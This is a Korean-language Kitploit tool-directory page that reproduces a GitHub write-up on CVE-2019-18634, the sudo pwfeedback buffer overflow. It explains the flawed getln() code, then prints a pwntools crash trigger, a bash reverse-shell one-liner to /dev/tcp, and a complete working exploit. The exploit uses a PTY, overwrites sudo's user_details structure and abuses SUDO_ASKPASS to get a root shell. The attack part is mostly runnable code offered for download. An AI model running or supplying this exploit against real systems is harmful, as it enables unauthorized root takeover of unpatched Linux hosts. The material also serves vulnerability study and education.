Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-18634 — 이 저장소에는 취약점이 어떻게 악용되는지에 대한 설명과 익스플로잇이 모두 포함되어 있습니다. | Kitploit
도구/GitHubGitHub/l0w3/cve-2019-18634
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationPayload DevelopmentBinary Exploitation
GitHubl0w3/cve-2019-18634

CVE-2019-18634

이 저장소에는 취약점이 어떻게 악용되는지에 대한 설명과 익스플로잇이 모두 포함되어 있습니다.

저장소 보기
1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-18634

CVE-2019-18634는 pwfeedback이 sudoers 파일에서 활성화된 경우 Sudo 버전 < 1.8.25에 영향을 미치는 취약점입니다. 이 취약점은 BSS 기반 버퍼 오버플로우를 이용하여 공격자가 루트 권한으로 상승할 수 있게 하며, 데이터 구조가 변경되어 루트로 실행되고 있다고 인식하여 더 이상 비밀번호를 묻지 않고 루트 권한을 부여합니다.

취약점 발견

이 분석에서는 먼저 코드를 분석하고 무엇이 잘못되었는지 이해함으로써 취약점 발견에 대해 깊이 들어가 보겠습니다. NIST의 문서에 따르면 취약점은 getln() 함수에서 발견된다고 설명하므로, 먼저 이를 살펴보겠습니다:

이미지

함수가 파일 디스크립터에서 buffersize 만큼 한 바이트씩 읽고, 읽은 문자가 sudo-term-kill 이면 모든 입력을 지우고 현재 포인터를 처음으로 되돌린 후 다시 읽을 문자 수를 buffersize 로 설정하는 것을 볼 수 있습니다.

버그는 다음 코드 조각에 있습니다:

root@kitploit:~
static char *
getln(int fd, char *buf, size_t bufsiz, int feedback)
{
    size_t left = bufsiz;
    ssize_t nr = -1;
    char *cp = buf;
    char c = '\0';
    debug_decl(getln, SUDO_DEBUG_CONV)
//            ...

    while (--left) {
    	nr = read(fd, &c, 1);
    	if (nr != 1 || c == '\n' || c == '\r')
    	    break;
    	if (feedback) {
    	    if (c == sudo_term_kill) {
    		    while (cp > buf) {
    		      if (write(fd, "\b \b", 3) == -1)
    			      break;
    		      --cp;
    		    }
    		    left = bufsiz;
    		    continue;
    	    }
//            ...
    	}
    	*cp++ = c;
    }
//            ...
}

기본적으로 sudo-term-kill 문자가 있을 때 쓰기 작업이 실패하면 버퍼 포인터는 감소하지 않지만 쓸 수 있는 문자 수는 재설정되어, 결과적으로 해당 버퍼에 임의 길이 쓰기가 가능해집니다.

코드와 사용된 함수에 대한 심층 분석 결과 sudo-term-kill 문자는 전역으로 선언되지 않은 정수로 정의되어 있으며, 이는 터미널로부터 입력을 받지 않는 한 0으로 초기화된다는 것을 의미합니다. 터미널로부터 입력을 받으면 termios c_cc 구조체에 설정된 값이 되며, 문서에 따르면 다음과 같습니다:

Screenshot 2024-12-12 at 17 20 29

여기서 추론에 너무 깊이 들어가지는 않겠지만, Sudo 저장소의 term.c 파일 소스 코드를 살펴보면 모두 재현할 수 있습니다.

이 간단한 분석 후에는 프로그램을 충돌시키고 디버깅하여 무엇이 저장되고 어떻게 악용될 수 있는지 확인하는 일만 남았습니다.

트리거

익스플로잇을 트리거하려면 버퍼를 오버플로우하고 프로그램을 충돌시키기에 충분한 데이터를 가진 페이로드를 보내면 됩니다. 이를 위해 Python 라이브러리 pwntools를 사용하기로 결정했습니다.

root@kitploit:~
import pwn

payload = b"A\x00"*10000
p = pwn.process(["/usr/local/bin/sudo", "-k", "-S", "id"]) # -k for asking the password every time, -S to specify stdin, as pwntools needs to pass data through stdin
print(p.read())
p.sendline(payload)
print(p.read())

실행 시 다음과 같은 오류가 발생했습니다: image

좋습니다!! 세그멘테이션 오류가 발생했으므로 바이너리 실행을 중단시킨 무언가를 덮어썼습니다. 이제 무엇이 덮어쓰여졌는지와 이를 활용할 방법을 살펴봐야 합니다.

디버깅

바이너리를 디버깅하려면 페이로드를 보내기 전에 프로세스 실행을 일시 중지한 다음 디버거를 연결하고 실행을 계속해야 합니다. sudo 프로세스를 디버깅하려면 루트 권한이 필요하지만, 그렇게 하면 프로그램이 비밀번호를 묻지 않게 되어 취약한 부분이 사라지기 때문입니다.

이제 버퍼와 이후 메모리 주소에 무엇이 저장되었는지 살펴보겠습니다: image

버퍼 외에도 여러 데이터 구조가 덮어쓰여졌으며, 이는 익스플로잇에 유용할 수 있습니다. 다음으로, 덮어쓰기 전에 해당 데이터 구조에 어떤 데이터가 있었는지 확인하기로 했습니다. 이를 위해 동일한 스크립트를 실행하되 buffersize 바이트의 데이터만 덮어쓰고 메모리를 다시 분석했습니다: image

보시다시피, signo 데이터 구조는 위치 548의 바이트가 0x02인 것을 제외하고 모두 0입니다. 그 뒤에는 user-details 구조체가 있으며, 이는 코드에서 sudo를 실행하는 사용자의 세부 정보를 나타냅니다. 0x02는 sudo.h 파일에 정의된 대로 -S 옵션을 나타냅니다. 같은 파일에는 Askpass라는 또 다른 옵션이 정의되어 있으며, 환경 변수에서 가져온 프로그램을 비밀번호를 얻기 위한 도우미로 사용합니다(TTY 또는 STDIN 대신). 이 정보를 바탕으로 익스플로잇 경로가 조금 더 명확해집니다. 사용자 정의 도우미 프로그램(예: 리버스 셸)을 설정한 다음 _user-details_를 덮어써 sudo가 루트에 의해 실행된 것처럼 보이게 할 수 있습니다.

익스플로잇

익스플로잇을 위해서는 아직 해결해야 할 문제가 있습니다: 데이터 구조의 원래 데이터를 보존하기 위해 0을 써야 하며, 사용자 세부 정보를 루트로 설정해야 하므로 표준 입력을 사용할 수 없습니다(0을 쓰지 못하기 때문). 다행히도 터미널 장치를 사용하면 kill 문자가 0x15이며, 이는 전혀 필요하지 않은 문자입니다. 이로 인해 문제가 발생합니다: 쓰기 작업이 실패해야 하지만 터미널 장치는 쓰기 및 읽기가 가능하므로 쓰기 작업이 실패하지 않습니다. 조사 결과, 의사 터미널(PTY)이 있다는 것을 발견했습니다. PTY는 프로그램에서 생성하고 제어할 수 있는 터미널 장치입니다: image

PTY를 사용하면 마스터와 통신하고 마스터가 슬레이브와 통신합니다. 슬레이브에 읽기 권한만 설정하면 프로그램이 절대 쓸 수 없게 되어(따라서 실패) 익스플로잇을 트리거할 수 있습니다.

모든 것이 준비되면, 남은 것은 리버스 셸을 작성하는 것입니다.

root@kitploit:~
#!/usr/bin/bash
bash -i >& /dev/tcp/127.0.0.1/4242 0>&1

그리고 익스플로잇:

root@kitploit:~
import os
import pwn
import sys
####### Offsets of important info #######
buff = 0x563142f712c0
signo = 0x563142f713e0
userdetails = 0x563142f71500
tgetflag = 0x563142f714e4
####### PTY file descriptors ######
masterfd, slavefd = os.openpty()
fd = os.open(os.ttyname(slavefd), os.O_RDONLY)
rshell = "/tmp/revshell.sh"
####### Process started with pty as stdin and rshell as sudo askpass program ###
proc =  pwn.process(['/usr/local/bin/sudo', '-k', '-S', 'id'], env={'SUDO_ASKPASS':rshell}, stdin=fd)
pwn.log.info(f"Process started. Will execute {rshell} as payload")
####### Listener #######
port = pwn.listen(4242)
####### Payload #######
pwn.log.info("Sending Payload")
payload  = (b'\x00' + b'\x15') * (tgetflag - buff)
payload += pwn.p64(0x4).ljust(userdetails - tgetflag, b'\x00')
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
os.write(masterfd, payload + b'\n')

port.wait_for_connection()
pwn.log.info("wo0t wo0t welcome back, my lord")
port.interactive()

이를 사용하여 루트로 리버스 셸을 받습니다: image

도구 다운로드